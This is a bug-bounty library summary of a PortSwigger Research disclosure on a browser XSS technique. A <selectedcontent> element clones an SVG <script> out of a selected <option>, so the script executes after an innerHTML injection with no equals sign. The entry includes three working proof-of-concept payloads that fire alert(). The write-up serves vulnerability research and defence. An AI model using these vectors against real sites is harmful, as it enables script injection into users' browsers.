# Achieving the impossible: XSS in innerHTML without equals

New <selectedcontent> element clones SVG-namespaced <script> from a selected <option>, executing it even when injected via innerHTML without an equals sign.

- Payout: Research
- Severity: medium
- Program: Apple
- Write-up by: PortSwigger Research
- Disclosed: 2026-11-18
- Write-up quality: 8/10
- Original: https://portswigger.net/research/achieving-the-impossible-xss-in-innerhtml-without-equals
- Library page: https://bugbountylibrary.com/r/blog%3Aportswigger-net-research-achieving-the-impossible-xss-in-innerhtml-without-equals
- Tags: area:os domain:browser impact:integrity kind:research platform:research sev:medium tech:chromium technique:parser-differential technique:source-review vuln:xss

**Target:** Browser DOM / innerHTML sink with <select>/<selectedcontent>
**Root cause:** The 'already started' flag is set true for HTML <script> created via innerHTML but stayed false for SVG-namespaced <script>; <selectedcontent> clones the selected <option>'s children via cloneNode(true), and appending the cloned SVG script executes it.
**Steps:**
1. Inject into an innerHTML sink: `<select><selectedcontent></selectedcontent><option><svg><script>alert(1)<\/script>`
2. Parser creates the <script> in SVG namespace inside the selected <option>
3. <selectedcontent> clones the option's child nodes (cloneNode(true) semantics)
4. Cloned SVG <script> is appended and executes; removing <svg> or <selectedcontent> prevents execution
**How found:** Inspired by Kabir Acharya's May 2026 DOMPurify bypass using <selectedcontent>; noticed it clones selected <option> children including elements, tested whether cloned SVG <script> executes, then casually assigned the same HTML to innerHTML and it fired.
**Exploitation:** Attacker controls HTML reaching an innerHTML assignment where '=' is filtered; the payload executes arbitrary JS in Safari 27.2 (and Chrome 157 before the fix), yielding XSS.
**Insight:** Newly shipped HTML elements that clone or re-parent DOM nodes (like <selectedcontent>) can resurrect script execution that innerHTML normally suppresses; test namespace differences (SVG vs HTML) against the 'already started' flag and other parser-state flags.

## Proof of concept (copied exactly from the original report)

**innerHTML XSS payload using selectedcontent and SVG script**

```
document.body.innerHTML=`
<select>
<selectedcontent></selectedcontent>
<option>
<svg>
<script>alert(1)<\/script>`;
```

**cloneNode PoC executing SVG script**

```
document.body.innerHTML = `
 <div id="source">
 <svg><script>alert()<\/script></svg>
 </div>
 <div id="target"></div>
`;
clone=source.cloneNode(true);
target.append(clone);
```

**Whitespace/slash/equals-free SVG script vector**

```
<select>
<button>
<selectedcontent>
<button>
<option>
<svg><script>alert(1)<foo>
```

